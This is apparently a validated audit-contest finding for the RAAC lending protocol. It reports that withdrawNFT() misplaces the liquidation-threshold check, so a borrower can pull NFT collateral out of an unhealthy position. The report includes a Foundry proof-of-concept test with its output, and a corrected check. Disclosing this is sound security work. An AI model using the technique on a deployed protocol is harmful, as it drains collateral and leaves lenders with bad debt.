Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect withdrawal check allows NFT removal from undercollateralized positions

Summary

The LendingPool contract's withdrawNFT() function fails to properly validate the health factor after NFT withdrawal, allowing users to remove collateral even when their position is already below the liquidation threshold. This vulnerability lets borrowers extract value from the protocol while leaving behind undercollateralized debt.

Vulnerability Details

The vulnerability exists in the following code from the withdrawNFT() function:

// LendingPool.sol
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

The check is mathematically incorrect because it compares the raw collateral value minus the NFT against the adjusted debt value (debt * liquidationThreshold). Instead, it should compare the adjusted remaining collateral value against the raw debt.

This can allow users to withdraw NFTs even when their positions are liquidatable/unhealthy. (Shown in the PoC below)

PoC

  1. Install foundry through:

    • npm i --save-dev @nomicfoundation/hardhat-foundry

    • Add require("@nomicfoundation/hardhat-foundry");on hardhat config file

    • Run npx hardhat init-foundry and forge install foundry-rs/forge-std --no-commit

  2. Create a file called LendingPool.t.solin the test folder

  3. Paste the code below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
contract LendingPoolTest is Test {
using WadRayMath for uint256;
// contracts
StabilityPool stabilityPool;
LendingPool lendingPool;
RToken rToken;
DEToken deToken;
DebtToken debtToken;
RAACMinter raacMinter;
crvUSDToken crvUSD;
RAACToken raacToken;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
// users
address owner = address(1);
address user1 = address(2);
address user2 = address(3);
address user3 = address(4);
address[] users = new address[](3);
function setUp() public {
// setup users
users[0] = user1;
users[1] = user2;
users[2] = user3;
// initiate timestamp and block
vm.warp(1738798039); // 2025-02-05
vm.roll(100); // block
vm.startPrank(owner);
_deployAndSetupContracts();
vm.stopPrank();
_mintCrvUsdTokenToUsers(1000e18);
_depositCrvUsdIntoLendingPoolForAllUsers(100e18);
}
function test_userCanWithdrawNFT_withUndercolateralizedPosition() public {
// actions
// 1. House prices:
// House 1 is $100
// House 2 is $20
_setupHousePrice(100e18, 1);
_setupHousePrice(20e18, 2);
vm.startPrank(user1);
// 2. User deposit two NFTs.
_mintAndDepositNftInLendingPool(1, 100e18);
_mintAndDepositNftInLendingPool(2, 20e18);
// 3. user will borrow $95
_borrowCrvUsdTokenFromLendingPool(95e18); // liquidation threshold is 80%, thus is $96
vm.stopPrank();
// time passes and user accumulate more debt.
_advanceInTimeAndAccrueInterestInLendingPool(35 days);
// house price 1 drops from $100 to $80
_setupHousePrice(80e18, 1);
// now user became liquidatable
uint256 userUnhealthyPosition = lendingPool.calculateHealthFactor(user1);
assertLt(userUnhealthyPosition, 1e18, "position is healthy");
console.log("liquidationThreshold: %e", lendingPool.liquidationThreshold()); // 80%
console.log("User collateral value: %e", lendingPool.getUserCollateralValue(user1)); // $100 (NFT1 $80 + NFT2 $20)
console.log("user1 debt: %e", lendingPool.getUserDebt(user1)); // $99, above the liquidation threshold which is $96(80%)
console.log("User will withdraw one of the NFTs while in unhealthy position");
// user is able to withdraw one of his NFTs, while his debt is above the liquidation threshold
vm.prank(user1);
lendingPool.withdrawNFT(2);
console.log("User has withdrawn NFT");
assertEq(raacNFT.ownerOf(2), user1, "user is not the owner of NFT 2");
// protocol accumulate bad debt, user's unhealthy position is even greater
uint256 userUnhealthyPositionAfterWithdraw = lendingPool.calculateHealthFactor(user1);
assertLt(userUnhealthyPositionAfterWithdraw, userUnhealthyPosition);
}
// HELPER FUNCTIONS
function _deployAndSetupContracts() internal {
// Deploy base tokens
crvUSD = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy real oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner); // Set owner as oracle
// Deploy real NFT contract
raacNFT = new RAACNFT(
address(crvUSD),
address(raacHousePrices),
owner
);
// Deploy core contracts with proper constructor args
rToken = new RToken(
"RToken",
"RTK",
owner,
address(crvUSD)
);
deToken = new DEToken(
"DEToken",
"DET",
owner,
address(rToken)
);
debtToken = new DebtToken(
"DebtToken",
"DEBT",
owner
);
// Deploy pools with required constructor parameters
lendingPool = new LendingPool(
address(crvUSD), // reserveAssetAddress
address(rToken), // rTokenAddress
address(debtToken), // debtTokenAddress
address(raacNFT), // raacNFTAddress
address(raacHousePrices), // priceOracleAddress
0.8e27 // initialPrimeRate (RAY)
);
// Deploy RAACMinter with valid constructor args
raacMinter = new RAACMinter(
address(raacToken),
address(0x1234324423), // stability pool
address(lendingPool),
owner
);
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken), // _rToken
address(deToken), // _deToken
address(raacToken), // _raacToken
address(raacMinter), // _raacMinter
address(crvUSD), // _crvUSDToken
address(lendingPool) // _lendingPool
);
// workaround for another bug found in Stability Pool.
deal(address(crvUSD), address(stabilityPool), 100_000e18);
raacMinter.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// setup raacToken's minter and whitelist
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
}
function _mintCrvUsdTokenToUsers(uint256 initialBalance) internal {
for (uint i = 0; i < users.length; i++) {
vm.prank(owner);
crvUSD.mint(users[i], initialBalance);
vm.startPrank(users[i]);
crvUSD.approve(address(raacNFT), initialBalance);
crvUSD.approve(address(lendingPool), initialBalance);
rToken.approve(address(stabilityPool), initialBalance);
vm.stopPrank();
}
}
function _depositCrvUsdIntoLendingPoolForAllUsers(uint256 initialDeposit) internal {
// iterate users array and deposit into lending pool
for (uint i = 0; i < users.length; i++) {
vm.prank(users[i]);
lendingPool.deposit(initialDeposit);
}
}
function _mintNFTwithTokenId(uint256 tokenId, uint256 housePrice) internal {
raacNFT.mint(tokenId, housePrice);
raacNFT.approve(address(lendingPool), tokenId);
}
function _setupHousePrices(uint256 housePrice) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(1, housePrice);
raacHousePrices.setHousePrice(2, housePrice);
raacHousePrices.setHousePrice(3, housePrice);
vm.stopPrank();
}
function _setupHousePrice(uint256 housePrice, uint256 newValue) internal {
vm.startPrank(owner);
raacHousePrices.setHousePrice(newValue, housePrice);
vm.stopPrank();
}
function _mintAndDepositNftInLendingPool(uint256 tokenId, uint256 housePrice) internal {
_mintNFTwithTokenId(tokenId, housePrice);
lendingPool.depositNFT(tokenId);
}
function _borrowCrvUsdTokenFromLendingPool(uint256 amount) internal {
lendingPool.borrow(amount);
}
function _advanceInTimeAndAccrueInterestInLendingPool(uint256 time) internal {
uint256 usageIndex = lendingPool.getNormalizedDebt();
console.log("Usage Index before advance in time: %e", usageIndex);
_advanceInTime(time);
lendingPool.updateState(); // This should update usageIndex
// Verify indexes
usageIndex = lendingPool.getNormalizedDebt();
console.log("Usage Index after advance in time time: %e", usageIndex);
}
function _advanceInTime(uint256 time) internal {
vm.warp(block.timestamp + time);
vm.roll(block.number + 10000);
}
}

run: forge test --match-test test_userCanWithdrawNFT_withUndercolateralizedPosition -vv

Result:

[PASS] test_userCanWithdrawNFT_withUndercolateralizedPosition() (gas: 796558)
Logs:
liquidationThreshold: 8e3
@> User collateral value: 1e20
@> user1 debt: 9.9070225425137281103e19
User will withdraw one of the NFTs while in unhealthy position
@> User has withdrawn NFT
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.21ms (1.75ms CPU time)

Impact

  • Users can withdraw collateral while leaving behind undercollateralized positions, creating guaranteed bad debt for the protocol.

  • During market downturns, users who quickly withdraw their NFTs can escape with value while leaving other lenders to absorb the losses.

Tools Used

Manual Review & Foundry

Recommendations

The withdrawal check should be corrected to:

if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

This ensures that the remaining collateral value after withdrawal, adjusted by the liquidation threshold, must be greater than the outstanding debt.

Run the test again, now it works as expected:

Ran 1 test suite in 159.48ms (6.44ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/LendingPool.t.sol:LendingPoolTest
[FAIL: WithdrawalWouldLeaveUserUnderCollateralized()] test_userCanWithdrawNFT_withUndercolateralizedPosition() (gas: 942949)
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.